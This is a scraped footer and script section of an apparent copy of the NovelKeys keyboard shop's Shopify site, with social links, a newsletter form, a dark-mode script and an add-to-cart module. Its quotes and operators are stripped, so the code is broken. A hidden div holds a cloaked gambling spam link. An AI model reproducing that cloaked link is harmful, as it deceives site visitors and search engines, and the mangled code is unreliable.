dM447.9,209.9c-44,0.1-87-13.6-122.8-39.3v178.7c0,89.8-72.8,162.5-162.6,162.5S0,439,0,349.3s72.8-162.5,162.6-162.5 c7.4,0,14.9,0.5,22.3,1.5v89.9c-39.3-12.4-81.2,9.5-93.6,48.8s9.5,81.2,48.8,93.6s81.2-9.5,93.6-48.8c2.3-7.2,3.4-14.8,3.4-22.4V0 h88c-0.1,7.4,0.6,14.9,1.9,22.2l0,0c6.2,33,25.7,62,53.9,80.2c19.9,13.1,43.2,20.1,67,20.1V209.9z/>/svg>span classicon__fallback-text>TikTok/span> /a> /li> li styleheight: 25px; padding-left: 10px;> a classsocial-icons__link hrefhttps://discord.gg/c6g77yzJwe aria-describedbya11y-external-message>svg classicon viewBox0 0 71 55 fillnone xmlnshttp://www.w3.org/2000/svg>g clip-pathurl(#clip0)>path dM60.1045 4.8978C55.5792 2.8214 50.7265 1.2916 45.6527 0.41542C45.5603 0.39851 45.468 0.440769 45.4204 0.525289C44.7963 1.6353 44.105 3.0834 43.6209 4.2216C38.1637 3.4046 32.7345 3.4046 27.3892 4.2216C26.905 3.0581 26.1886 1.6353 25.5617 0.525289C25.5141 0.443589 25.4218 0.40133 25.3294 0.41542C20.2584 1.2888 15.4057 2.8186 10.8776 4.8978C10.8384 4.9147 10.8048 4.9429 10.7825 4.9795C1.57795 18.7309 -0.943561 32.1443 0.293408 45.3914C0.299005 45.4562 0.335386 45.5182 0.385761 45.5576C6.45866 50.0174 12.3413 52.7249 18.1147 54.5195C18.2071 54.5477 18.305 54.5139 18.3638 54.4378C19.7295 52.5728 20.9469 50.6063 21.9907 48.5383C22.0523 48.4172 21.9935 48.2735 21.8676 48.2256C19.9366 47.4931 18.0979 46.6 16.3292 45.5858C16.1893 45.5041 16.1781 45.304 16.3068 45.2082C16.679 44.9293 17.0513 44.6391 17.4067 44.3461C17.471 44.2926 17.5606 44.2813 17.6362 44.3151C29.2558 49.6202 41.8354 49.6202 53.3179 44.3151C53.3935 44.2785 53.4831 44.2898 53.5502 44.3433C53.9057 44.6363 54.2779 44.9293 54.6529 45.2082C54.7816 45.304 54.7732 45.5041 54.6333 45.5858C52.8646 46.6197 51.0259 47.4931 49.0921 48.2228C48.9662 48.2707 48.9102 48.4172 48.9718 48.5383C50.038 50.6034 51.2554 52.5699 52.5959 54.435C52.6519 54.5139 52.7526 54.5477 52.845 54.5195C58.6464 52.7249 64.529 50.0174 70.6019 45.5576C70.6551 45.5182 70.6887 45.459 70.6943 45.3942C72.1747 30.0791 68.2147 16.7757 60.1968 4.9823C60.1772 4.9429 60.1437 4.9147 60.1045 4.8978ZM23.7259 37.3253C20.2276 37.3253 17.3451 34.1136 17.3451 30.1693C17.3451 26.225 20.1717 23.0133 23.7259 23.0133C27.308 23.0133 30.1626 26.2532 30.1066 30.1693C30.1066 34.1136 27.28 37.3253 23.7259 37.3253ZM47.3178 37.3253C43.8196 37.3253 40.9371 34.1136 40.9371 30.1693C40.9371 26.225 43.7636 23.0133 47.3178 23.0133C50.9 23.0133 53.7545 26.2532 53.6986 30.1693C53.6986 34.1136 50.9 37.3253 47.3178 37.3253Z fill#ffffff/>/g>defs>/defs>/svg>span classicon__fallback-text>Discord/span> /a> /li> /ul>/div> /div> div classgrid__item medium-up--one-quarter> div classfooter-title> NEWSLETTER /div> div classalt-text site-footer__link> Stay up to date with pre-orders, releases, and product drops! /div> div>div classsite-footer__item site-footer__item--center site-footer__item--full-width > div classsite-footer__item-inner site-footer__item-inner--newsletter>div classsite-footer__newsletter site-footer__single-block--centered>form methodpost actionhttps://novelkeys.com/contact#ContactFooter idContactFooter accept-charsetUTF-8 classcontact-form novalidatenovalidate>input typehidden nameform_type valuecustomer />input typehidden nameutf8 value✓ />input typehidden namecontacttags valuenewsletter> div classinput-group > input stylecolor: #000 typeemail namecontactemail idContactFooter-email classinput-group__field newsletter__input value placeholderEmail address aria-labelEmail address aria-requiredtrue required autocorrectoff autocapitalizeoff > span stylemargin-bottom: 50px; classinput-group__btn> button typesubmit classbtn--secondary namecommit idSubscribe> span classnewsletter__submit-text--large>SUBMIT/span> /button> /span> /div> /form> /div>/div> /div>/div> /div> div classgrid__item medium-up--hide> a stylemargin-left: -4px; hrefindex.html classfooter-title> ?xml version1.0 encodingutf-8?> !-- Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> svg version1.1 idNovelKeys-Logo xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px viewBox0 0 1407 248 styleenable-background:new 0 0 1407 248; fill: #ffffff xml:spacepreserve> g> g> path dM1315.88,241.38c-3.68,0-6.98-0.83-9.88-2.51c-2.91-1.68-5.17-3.96-6.8-6.85c-1.62-2.89-2.43-6.09-2.43-9.61 c0-3.79,0.84-7.14,2.51-10.07c1.68-2.92,3.98-5.19,6.9-6.79s6.21-2.41,9.86-2.41c3.41,0,6.57,0.79,9.46,2.36 c2.89,1.57,5.2,3.81,6.92,6.72c1.72,2.91,2.58,6.26,2.58,10.05c0,3.72-0.84,7.03-2.53,9.94c-1.69,2.91-3.99,5.16-6.9,6.76 S1319.44,241.38,1315.88,241.38z M1329.22,222.52c0-2.81-0.56-5.34-1.7-7.58c-1.13-2.25-2.72-4.01-4.77-5.3 c-2.05-1.29-4.39-1.93-7.03-1.93c-2.4,0-4.61,0.63-6.62,1.88c-2.01,1.25-3.61,2.96-4.79,5.15c-1.18,2.18-1.77,4.64-1.77,7.38 c0,2.81,0.58,5.32,1.72,7.55s2.74,3.98,4.77,5.25c2.03,1.27,4.31,1.9,6.84,1.9c2.44,0,4.67-0.61,6.69-1.85 c2.03-1.23,3.65-2.94,4.84-5.12C1328.62,227.67,1329.22,225.23,1329.22,222.52z M1323.69,230.38c0,0.51-0.22,0.94-0.66,1.3 c-0.44,0.35-0.94,0.54-1.52,0.54c-0.51,0-0.94-0.11-1.3-0.31c-0.35-0.2-0.73-0.56-1.14-1.06c-0.4-0.51-1.05-1.42-1.92-2.74 l-2.94-4.16h-1.32v6.04c0,0.68-0.22,1.22-0.65,1.62c-0.44,0.41-0.99,0.61-1.63,0.61s-1.18-0.21-1.62-0.63 c-0.44-0.42-0.66-0.97-0.66-1.65V214.2c0-0.64,0.23-1.16,0.68-1.57c0.46-0.41,0.99-0.61,1.6-0.61h6.65c2.46,0,4.27,0.49,5.43,1.46 c1.15,0.99,1.72,2.54,1.72,4.67c0,1.63-0.44,2.97-1.32,4.03c-0.88,1.06-2.01,1.65-3.39,1.75l3.29,4.41 C1323.46,228.99,1323.69,229.67,1323.69,230.38z M1319.53,217.96c0-1.52-0.88-2.28-2.63-2.28h-4.01v4.62h4.01 c0.87,0,1.53-0.19,1.97-0.56C1319.32,219.36,1319.53,218.77,1319.53,217.96z/> /g> g> g> path dM31,36.57c0-16.31,8.16-23.24,24.87-23.24c8.16,0,15.49,3.26,19.98,10.19l69.32,111.72h0.41V32.5 c0-12.64,7.34-19.16,19.16-19.16s19.16,6.12,19.16,19.16v136.19c0,15.49-6.93,24.47-23.24,24.47c-12.64,0-16.72-2.85-21.61-10.6 L69.74,74.09h-0.41v100.31c0,12.64-7.34,19.16-19.16,19.16S31,187.44,31,174.39L31,36.57z/> path dM264.24,61.04c42.41,0,65.24,28.95,65.24,66.06c0,35.07-17.13,66.46-65.24,66.46s-65.24-30.99-65.24-66.46 C198.99,89.99,221.42,61.04,264.24,61.04z M264.24,167.46c20.8,0,29.77-18.76,29.77-40.37c0-22.83-9.38-39.96-29.77-39.96 s-29.77,17.13-29.77,39.96C234.06,148.3,243.03,167.46,264.24,167.46z/> path dM331.52,87.95c-0.82-2.85-2.04-6.93-2.04-8.97c0-12.64,8.56-18.35,17.13-18.35c13.46,0,16.72,11.01,17.53,14.68 l23.65,79.51h0.41l23.65-79.51c0.82-3.67,4.49-14.68,17.53-14.68c8.56,0,17.13,5.71,17.13,18.35c0,2.04-1.22,6.12-2.04,8.97 l-33.44,92.56c-3.26,9.38-5.71,12.64-23.24,12.64s-19.98-3.26-23.24-12.64L331.52,87.95z/> path dM481.57,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.68,7.34,14.68,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.92V133.62z M543.55,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H543.55z/> path dM592.07,30.86c0-11.42,6.93-17.53,17.53-17.53c10.6,0,17.53,6.12,17.53,17.53v144.75c0,11.42-6.93,17.53-17.53,17.53 c-10.6,0-17.53-6.12-17.53-17.53V30.86z/> path dM651.2,33.31c0-11.82,8.56-19.98,20.8-19.98c12.23,0,19.98,8.16,19.98,19.98V90.8l62.39-68.5 c4.49-4.89,8.56-8.56,15.49-8.56c9.38,0,18.76,5.71,18.76,15.9c0,6.12-3.26,10.19-6.52,13.46l-40.37,42.81l47.3,72.58 c3.67,5.71,7.34,10.6,7.34,15.49c0,14.68-11.01,19.16-20.39,19.16c-8.16,0-12.23-2.04-17.53-10.19l-45.67-70.54l-21.61,21.61 v39.14c0,11.82-7.75,19.98-19.98,19.98c-12.23,0-19.98-8.16-19.98-19.98V33.31L651.2,33.31z/> path dM831.83,133.62c0,18.76,12.23,32.21,32.62,32.21c26.5,0,26.5-17.53,40.78-17.53c8.56,0,14.27,7.34,14.27,13.86 c0,21.2-33.84,30.99-55.05,30.99c-49.34,0-67.69-33.44-67.69-64.02c0-41.18,24.87-68.5,66.46-68.5 c40.37,0,63.61,28.54,63.61,57.49c0,12.23-3.67,15.09-15.49,15.09h-79.51V133.62z M893.81,113.64 c-2.04-16.31-13.86-28.14-29.77-28.14c-17.53,0-28.14,11.01-32.21,28.14H893.81z/> path dM986.37,156.45h0.41l21.61-79.92c2.45-8.97,7.34-15.49,16.72-15.49c13.86,0,17.94,11.42,17.94,15.9 c0,2.85-0.82,6.52-2.85,11.01l-40.78,115.39c-8.56,24.06-17.94,36.7-40.37,36.7c-15.49,0-22.02-7.75-22.02-16.31 c0-9.38,6.93-14.27,16.31-14.27h3.67c4.49,0,9.79-0.41,12.23-11.01l-36.7-104.39c-2.85-8.56-4.49-12.23-4.49-16.31 c0-9.79,7.75-16.72,17.13-16.72c9.38,0,15.9,5.3,17.94,13.46L986.37,156.45z/> path dM1100.13,61.04c26.91,0,53.82,10.6,53.82,26.91c0,8.16-5.71,15.49-14.68,15.49c-13.86,0-14.27-16.31-36.29-16.31 c-12.23,0-20.39,3.26-20.39,11.01c0,8.16,8.16,10.19,18.76,12.64l14.68,3.26c19.98,4.49,44.04,13.05,44.04,37.51 c0,28.54-27.73,42-54.23,42c-31.8,0-58.31-14.27-58.31-31.8c0-7.75,4.49-14.68,14.27-14.68c15.09,0,16.72,21.61,42.81,21.61 c12.64,0,20.39-5.71,20.39-12.64c0-8.97-7.75-10.19-20.39-13.46l-20.8-4.89c-20.39-4.89-36.29-13.46-36.29-37.11 C1047.12,71.64,1075.67,61.04,1100.13,61.04z/> /g> path dM1326.03,194.37h-140.27c-4.89,0-8.97-4.08-8.97-8.97l0,0c0-4.89,4.08-8.97,8.97-8.97h140.27c4.89,0,8.97,4.08,8.97,8.97 l0,0C1335,190.3,1330.92,194.37,1326.03,194.37z/> /g> /g> /svg> /a> div stylepadding: 0px; padding-top: 25px; classgrid__item one-whole>ul classlist--inline site-footer__social-icons social-icons site-footer__icon-list>li classone-sixth> a classsocial-icons__link hrefhttps://facebook.com/novelkeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-facebook viewBox0 0 20 20>path fill#444 dM18.05.811q.439 0 .744.305t.305.744v16.637q0 .439-.305.744t-.744.305h-4.732v-7.221h2.415l.342-2.854h-2.757v-1.83q0-.659.293-1t1.073-.342h1.488V3.762q-.976-.098-2.171-.098-1.634 0-2.635.964t-1 2.72V9.47H7.951v2.854h2.415v7.221H1.413q-.439 0-.744-.305t-.305-.744V1.859q0-.439.305-.744T1.413.81H18.05z/>/svg>span classicon__fallback-text>Facebook/span> /a> /li>li classone-sixth> a classsocial-icons__link hrefhttps://twitter.com/NovelKeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-twitter viewBox0 0 20 20>path fill#444 dM19.551 4.208q-.815 1.202-1.956 2.038 0 .082.02.255t.02.255q0 1.589-.469 3.179t-1.426 3.036-2.272 2.567-3.158 1.793-3.963.672q-3.301 0-6.031-1.773.571.041.937.041 2.751 0 4.911-1.671-1.284-.02-2.292-.784T2.456 11.85q.346.082.754.082.55 0 1.039-.163-1.365-.285-2.262-1.365T1.09 7.918v-.041q.774.408 1.773.448-.795-.53-1.263-1.396t-.469-1.864q0-1.019.509-1.997 1.487 1.854 3.596 2.924T9.81 7.184q-.143-.509-.143-.897 0-1.63 1.161-2.781t2.832-1.151q.815 0 1.569.326t1.284.917q1.345-.265 2.506-.958-.428 1.386-1.732 2.18 1.243-.163 2.262-.611z/>/svg>span classicon__fallback-text>Twitter/span> /a> /li>li classone-sixth> a classsocial-icons__link hrefhttps://instagram.com/novel.keys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-instagram viewBox0 0 512 512>path dM256 49.5c67.3 0 75.2.3 101.8 1.5 24.6 1.1 37.9 5.2 46.8 8.7 11.8 4.6 20.2 10 29 18.8s14.3 17.2 18.8 29c3.4 8.9 7.6 22.2 8.7 46.8 1.2 26.6 1.5 34.5 1.5 101.8s-.3 75.2-1.5 101.8c-1.1 24.6-5.2 37.9-8.7 46.8-4.6 11.8-10 20.2-18.8 29s-17.2 14.3-29 18.8c-8.9 3.4-22.2 7.6-46.8 8.7-26.6 1.2-34.5 1.5-101.8 1.5s-75.2-.3-101.8-1.5c-24.6-1.1-37.9-5.2-46.8-8.7-11.8-4.6-20.2-10-29-18.8s-14.3-17.2-18.8-29c-3.4-8.9-7.6-22.2-8.7-46.8-1.2-26.6-1.5-34.5-1.5-101.8s.3-75.2 1.5-101.8c1.1-24.6 5.2-37.9 8.7-46.8 4.6-11.8 10-20.2 18.8-29s17.2-14.3 29-18.8c8.9-3.4 22.2-7.6 46.8-8.7 26.6-1.3 34.5-1.5 101.8-1.5m0-45.4c-68.4 0-77 .3-103.9 1.5C125.3 6.8 107 11.1 91 17.3c-16.6 6.4-30.6 15.1-44.6 29.1-14 14-22.6 28.1-29.1 44.6-6.2 16-10.5 34.3-11.7 61.2C4.4 179 4.1 187.6 4.1 256s.3 77 1.5 103.9c1.2 26.8 5.5 45.1 11.7 61.2 6.4 16.6 15.1 30.6 29.1 44.6 14 14 28.1 22.6 44.6 29.1 16 6.2 34.3 10.5 61.2 11.7 26.9 1.2 35.4 1.5 103.9 1.5s77-.3 103.9-1.5c26.8-1.2 45.1-5.5 61.2-11.7 16.6-6.4 30.6-15.1 44.6-29.1 14-14 22.6-28.1 29.1-44.6 6.2-16 10.5-34.3 11.7-61.2 1.2-26.9 1.5-35.4 1.5-103.9s-.3-77-1.5-103.9c-1.2-26.8-5.5-45.1-11.7-61.2-6.4-16.6-15.1-30.6-29.1-44.6-14-14-28.1-22.6-44.6-29.1-16-6.2-34.3-10.5-61.2-11.7-27-1.1-35.6-1.4-104-1.4z/>path dM256 126.6c-71.4 0-129.4 57.9-129.4 129.4s58 129.4 129.4 129.4 129.4-58 129.4-129.4-58-129.4-129.4-129.4zm0 213.4c-46.4 0-84-37.6-84-84s37.6-84 84-84 84 37.6 84 84-37.6 84-84 84z/>circle cx390.5 cy121.5 r30.2/>/svg>span classicon__fallback-text>Instagram/span> /a> /li>li classone-sixth> a classsocial-icons__link hrefhttps://www.youtube.com/c/NovelKeys aria-describedbya11y-external-message>svg aria-hiddentrue focusablefalse rolepresentation classicon icon-youtube viewBox0 0 21 20>path fill#444 dM-.196 15.803q0 1.23.812 2.092t1.977.861h14.946q1.165 0 1.977-.861t.812-2.092V3.909q0-1.23-.82-2.116T17.539.907H2.593q-1.148 0-1.969.886t-.82 2.116v11.894zm7.465-2.149V6.058q0-.115.066-.18.049-.016.082-.016l.082.016 7.153 3.806q.066.066.066.164 0 .066-.066.131l-7.153 3.806q-.033.033-.066.033-.066 0-.098-.033-.066-.066-.066-.131z/>/svg>span classicon__fallback-text>YouTube/span> /a> /li>li classone-sixth styleheight: 25px> a classsocial-icons__link hrefhttps://www.tiktok.com/@novelkeys aria-describedbya11y-external-message>!-- Generator: Adobe Illustrator 24.2.3, SVG Export Plug-In -->svg version1.1 xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px width447.9px height511.9px viewBox0 0 447.9 511.9 stylefill: var(--color_text); height: 25px; width: 25px; overflow:visible;enable-background:new 0 0 447.9 511.9; xml:spacepreserve>defs>/defs>path dM447.9,209.9c-44,0.1-87-13.6-122.8-39.3v178.7c0,89.8-72.8,162.5-162.6,162.5S0,439,0,349.3s72.8-162.5,162.6-162.5 c7.4,0,14.9,0.5,22.3,1.5v89.9c-39.3-12.4-81.2,9.5-93.6,48.8s9.5,81.2,48.8,93.6s81.2-9.5,93.6-48.8c2.3-7.2,3.4-14.8,3.4-22.4V0 h88c-0.1,7.4,0.6,14.9,1.9,22.2l0,0c6.2,33,25.7,62,53.9,80.2c19.9,13.1,43.2,20.1,67,20.1V209.9z/>/svg>span classicon__fallback-text>TikTok/span> /a> /li> li styleheight: 25px;> a classsocial-icons__link hrefhttps://discord.gg/WsQ7WVvP aria-describedbya11y-external-message>svg classicon viewBox0 0 71 55 fillnone xmlnshttp://www.w3.org/2000/svg>g clip-pathurl(#clip0)>path dM60.1045 4.8978C55.5792 2.8214 50.7265 1.2916 45.6527 0.41542C45.5603 0.39851 45.468 0.440769 45.4204 0.525289C44.7963 1.6353 44.105 3.0834 43.6209 4.2216C38.1637 3.4046 32.7345 3.4046 27.3892 4.2216C26.905 3.0581 26.1886 1.6353 25.5617 0.525289C25.5141 0.443589 25.4218 0.40133 25.3294 0.41542C20.2584 1.2888 15.4057 2.8186 10.8776 4.8978C10.8384 4.9147 10.8048 4.9429 10.7825 4.9795C1.57795 18.7309 -0.943561 32.1443 0.293408 45.3914C0.299005 45.4562 0.335386 45.5182 0.385761 45.5576C6.45866 50.0174 12.3413 52.7249 18.1147 54.5195C18.2071 54.5477 18.305 54.5139 18.3638 54.4378C19.7295 52.5728 20.9469 50.6063 21.9907 48.5383C22.0523 48.4172 21.9935 48.2735 21.8676 48.2256C19.9366 47.4931 18.0979 46.6 16.3292 45.5858C16.1893 45.5041 16.1781 45.304 16.3068 45.2082C16.679 44.9293 17.0513 44.6391 17.4067 44.3461C17.471 44.2926 17.5606 44.2813 17.6362 44.3151C29.2558 49.6202 41.8354 49.6202 53.3179 44.3151C53.3935 44.2785 53.4831 44.2898 53.5502 44.3433C53.9057 44.6363 54.2779 44.9293 54.6529 45.2082C54.7816 45.304 54.7732 45.5041 54.6333 45.5858C52.8646 46.6197 51.0259 47.4931 49.0921 48.2228C48.9662 48.2707 48.9102 48.4172 48.9718 48.5383C50.038 50.6034 51.2554 52.5699 52.5959 54.435C52.6519 54.5139 52.7526 54.5477 52.845 54.5195C58.6464 52.7249 64.529 50.0174 70.6019 45.5576C70.6551 45.5182 70.6887 45.459 70.6943 45.3942C72.1747 30.0791 68.2147 16.7757 60.1968 4.9823C60.1772 4.9429 60.1437 4.9147 60.1045 4.8978ZM23.7259 37.3253C20.2276 37.3253 17.3451 34.1136 17.3451 30.1693C17.3451 26.225 20.1717 23.0133 23.7259 23.0133C27.308 23.0133 30.1626 26.2532 30.1066 30.1693C30.1066 34.1136 27.28 37.3253 23.7259 37.3253ZM47.3178 37.3253C43.8196 37.3253 40.9371 34.1136 40.9371 30.1693C40.9371 26.225 43.7636 23.0133 47.3178 23.0133C50.9 23.0133 53.7545 26.2532 53.6986 30.1693C53.6986 34.1136 50.9 37.3253 47.3178 37.3253Z fill#ffffff/>/g>defs>/defs>/svg>span classicon__fallback-text>Discord/span> /a> /li> /ul>/div> div classalt-text site-footer__link> 181 Walnut St. br> Morgantown, West Virginia br> United States /div> div class site-footer__link> heythere@novelkeys.com /div> div stylegap: 25px; classtwo-column-grid> a target_blank hrefterms-of-service7038.html?localeen class site-footer__link site-footer__policy> Terms of Service /a> a target_blank hrefrefund-policy7038.html?localeen class site-footer__link site-footer__policy> Refund Policy /a> /div> div stylemargin-top: 15px; font-size: 16px; classalt-text site-footer__link> © 2023 NovelKeys LLC. All rights reserved. /div> button idmobile-night-mode-toggle stylewidth: 100%; margin-bottom: 125px; classbtn--secondary>Dark Mode/button> /div> /div> /div> script> let nightModeEnabled localStorage.getItem(nightModeEnabled); let root document.documentElement; let nightModeBtn document.getElementById(night-mode-toggle); let mobileNightModeBtn document.getElementById(mobile-night-mode-toggle); let navGradients document.getElementsByClassName(nav-gradient); let lightLogo document.getElementById(logo-light); let darkLogo document.getElementById(logo-dark); console.log(index page.support); if(nightModeEnabled true) enableNightMode(); function enableNightMode(){ if(lightLogo && darkLogo.getAttribute(src) ! ) { lightLogo.style.display none; darkLogo.style.display block; } mobileNightModeBtn.innerHTML Light Mode; nightModeBtn.innerHTML Light Mode; root.style.setProperty(--color_nav, #ffffff); root.style.setProperty(--color_nav-bar, #141414); root.style.setProperty(--color_text, #ffffff); root.style.setProperty(--color_bg, #141414); root.style.setProperty(--color_footer_bg, #141414); root.style.setProperty(--color_footer_link, #0099db); root.style.setProperty(--color_button, #0099db); root.style.setProperty(--color_button_text, #ffffff); root.style.setProperty(--color_button_secondary, #0099db); root.style.setProperty(--color_button_secondary_text, #ffffff); root.style.setProperty(--color_text_selection, #0099db); root.style.setProperty(--color_franchise, #ffffff); root.style.setProperty(--color_form, #141414); root.style.setProperty(--color_form_border, #343434); root.style.setProperty(--color_nav_icon, #ffffff); localStorage.setItem(nightModeEnabled, true); for(i 0; i navGradients.length; i++){ navGradientsi.style.backgroundImage linear-gradient(to top, rgba(26, 37, 28, 0) 90%, rgba(200, 200, 200, 0.1)); } } function disableNightMode(){ if(lightLogo && darkLogo.getAttribute(src) ! ) { lightLogo.style.display block; darkLogo.style.display none; } mobileNightModeBtn.innerHTML Dark Mode; nightModeBtn.innerHTML Dark Mode; root.style.setProperty(--color_nav, #000000); root.style.setProperty(--color_nav-bar, #ffffff); root.style.setProperty(--color_bg, #ffffff); root.style.setProperty(--color_footer_bg, #0099db); root.style.setProperty(--color_footer_link, #000000); root.style.setProperty(--color_text, #000000); root.style.setProperty(--color_button, #0099db); root.style.setProperty(--color_button_text, #ffffff); root.style.setProperty(--color_button_secondary, ); root.style.setProperty(--color_button_secondary_text, ); root.style.setProperty(--color_text_selection, #0099db); root.style.setProperty(--color_franchise, #000); root.style.setProperty(--color_form, #ffffff); root.style.setProperty(--color_form_border, #999999); root.style.setProperty(--color_nav_icon, #000000); localStorage.setItem(nightModeEnabled, false); for(i 0; i navGradients.length; i++){ navGradientsi.style.backgroundImage linear-gradient(to top, rgba(26, 37, 28, 0) 90%, rgba(200, 200, 200, 0.29)); } } nightModeBtn.addEventListener(click, toggleNightMode); mobileNightModeBtn.addEventListener(click, toggleNightMode); function toggleNightMode() { console.log(Night Mode is + nightModeEnabled); nightModeEnabled localStorage.getItem(nightModeEnabled); if(nightModeEnabled ! true){ enableNightMode(nightModeBtn); } else{ disableNightMode(nightModeBtn); } } /script> /div> div style display:none classpage-width> div classgrid grid--no-gutters text-center> div classgrid__item one-whole> /div> div classgrid__item> small classsite-footer__copyright-content>© 2024,a hrefindex.html titleaaatoys.net homepage>168极速赛车开奖结果查询/a> a hrefindex.html title>NovelKeys LLC/a>/small> small classsite-footer__copyright-content site-footer__copyright-content--powered-by>a target_blank relnofollow hrefhttps://www.shopify.com/?utm_campaignpoweredby&utm_mediumshopify&utm_sourceonlinestore>Powered by Shopify/a>/small> /div> /div> /div>/footer>/div> div idslideshow-info classvisually-hidden aria-hiddentrue>Use left/right arrows to navigate the slideshow or swipe left/right if using a mobile device/div> /div> ul hidden> li ida11y-refresh-page-message>choosing a selection results in a full page refresh/li> li ida11y-selection-message>press the space key then arrow keys to make a selection/li> /ul> !-- button style bottom: 38px; border-radius: 60px; height: 63px; position: fixed; transform: scale(1); width: 63px; z-index: 1052; right: 38px; classbtn onclicklaunchBeacon();> svg idopen-beacon-icon style position: absolute; top: 14px; fill: white; right: 14px; width: 35px; height: 35px; idbeacon-btn classsad-face xmlnshttp://www.w3.org/2000/svg viewBox0 0 70 70>defs>/defs>g transformtranslate(-2104.181 -105.442)>path classa dM2137.39,145.818a1.8,1.8,0,1,0-1.8-1.8A1.806,1.806,0,0,0,2137.39,145.818Z transformtranslate(-10.702 -12.53)/>path classa dM2175.3,145.818a1.8,1.8,0,1,0-1.8-1.8A1.806,1.806,0,0,0,2175.3,145.818Z transformtranslate(-23.62 -12.53)/>path classa dM2139.181,105.442a35,35,0,1,0,35,35A35,35,0,0,0,2139.181,105.442ZM2151.636,125a6.507,6.507,0,1,1-6.507,6.507A6.514,6.514,0,0,1,2151.636,125Zm-24.911,0a6.507,6.507,0,1,1-6.507,6.507A6.515,6.515,0,0,1,2126.726,125Zm34.959,31.237a3.286,3.286,0,0,1-4.588-.738c-3.276-4.532-10.308-7.46-17.915-7.46s-14.64,2.928-17.916,7.46a3.286,3.286,0,1,1-5.326-3.85c4.54-6.28,13.446-10.181,23.242-10.181s18.7,3.9,23.24,10.181A3.286,3.286,0,0,1,2161.685,156.242Z/>/g>/svg> svg idclose-beacon-icon style transform: rotate(180deg); display: none; position: absolute; top: 14px; fill: white; right: 14px; width: 35px; height: 35px; idbeacon-btn classsad-face xmlnshttp://www.w3.org/2000/svg viewBox0 0 70 70>defs>/defs>g transformtranslate(-2104.181 -105.442)>path classa dM2137.39,145.818a1.8,1.8,0,1,0-1.8-1.8A1.806,1.806,0,0,0,2137.39,145.818Z transformtranslate(-10.702 -12.53)/>path classa dM2175.3,145.818a1.8,1.8,0,1,0-1.8-1.8A1.806,1.806,0,0,0,2175.3,145.818Z transformtranslate(-23.62 -12.53)/>path classa dM2139.181,105.442a35,35,0,1,0,35,35A35,35,0,0,0,2139.181,105.442ZM2151.636,125a6.507,6.507,0,1,1-6.507,6.507A6.514,6.514,0,0,1,2151.636,125Zm-24.911,0a6.507,6.507,0,1,1-6.507,6.507A6.515,6.515,0,0,1,2126.726,125Zm34.959,31.237a3.286,3.286,0,0,1-4.588-.738c-3.276-4.532-10.308-7.46-17.915-7.46s-14.64,2.928-17.916,7.46a3.286,3.286,0,1,1-5.326-3.85c4.54-6.28,13.446-10.181,23.242-10.181s18.7,3.9,23.24,10.181A3.286,3.286,0,0,1,2161.685,156.242Z/>/g>/svg> /button>!-->script>window.onload function() {/** * Module to ajaxify all add to cart forms on the page. * * Copyright (c) 2015 Caroline Schnapp (11heavens.com) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */Shopify.AjaxifyCart (function($) { // Some configuration options. // I have separated what you will never need to change from what // you might change. var _config { // What you might want to change addToCartBtnLabel: Add to cart, addedToCartBtnLabel: Thank you!, addingToCartBtnLabel: Adding..., soldOutBtnLabel: Sold Out, howLongTillBtnReturnsToNormal: 1000, // in milliseconds. cartCountSelector: #CartCount, cartTotalSelector: #cart-price, // aboveForm for top of add to cart form, // belowForm for below the add to cart form, and // nextButton for next to add to cart button. feedbackPosition: belowForm, // What you will never need to change addToCartBtnSelector: typesubmit, addToCartFormSelector: formaction/cart/add, shopifyAjaxAddURL: /cart/add.js, shopifyAjaxCartURL: /cart.js }; // We need some feedback when adding an item to the cart. // Here it is. var _showFeedback function(success, html, $addToCartForm) { $(.ajaxified-cart-feedback).remove(); var feedback p classajaxified-cart-feedback + success + > + html + /p>; switch (_config.feedbackPosition) { case aboveForm: $addToCartForm.before(feedback); break; case belowForm: $addToCartForm.after(feedback); break; case nextButton: default: $addToCartForm.find(_config.addToCartBtnSelector).after(feedback); break; } // If you use animate.css // $(.ajaxified-cart-feedback).addClass(animated bounceInDown); $(.ajaxified-cart-feedback).slideDown(); }; var _setText function($button, label) { if ($button.children().length) { $button.children().each(function() { if ($.trim($(this).text()) ! ) { $(this).text(label); } }); } else { $button.val(label).text(label); } }; var _init function() { $(document).ready(function() { $(_config.addToCartFormSelector).submit(function(e) { e.preventDefault(); var $addToCartForm $(this); var $addToCartBtn $addToCartForm.find(_config.addToCartBtnSelector); _setText($addToCartBtn, _config.addingToCartBtnLabel); $addToCartBtn.addClass(disabled).prop(disabled, true); // Add to cart. $.ajax({ url: _config.shopifyAjaxAddURL, dataType: json, type: post, data: $addToCartForm.serialize(), success: function(itemData) { // Re-enable add to cart button. $addToCartBtn.addClass(inverted); _setText($addToCartBtn, _config.addedToCartBtnLabel); _showFeedback(success,i classfa fa-check>/i> Added to cart! a href/cart>View cart/a> or a hrefindex.html>continue shopping/a>.,$addToCartForm); window.setTimeout(function(){ $addToCartBtn.prop(disabled, false).removeClass(disabled).removeClass(inverted); _setText($addToCartBtn,_config.addToCartBtnLabel); }, _config.howLongTillBtnReturnsToNormal); // Update cart count and show cart link. $.getJSON(_config.shopifyAjaxCartURL, function(cart) { if (_config.cartCountSelector && $(_config.cartCountSelector).length()) { var value $(_config.cartCountSelector).html() || 0; $(_config.cartCountSelector).html(value.replace(/0-9+/,cart.item_count)).removeClass(hidden-count); } if (_config.cartTotalSelector && $(_config.cartTotalSelector).length()) { if (typeof Currency ! undefined && typeof Currency.moneyFormats ! undefined) { var newCurrency ; if 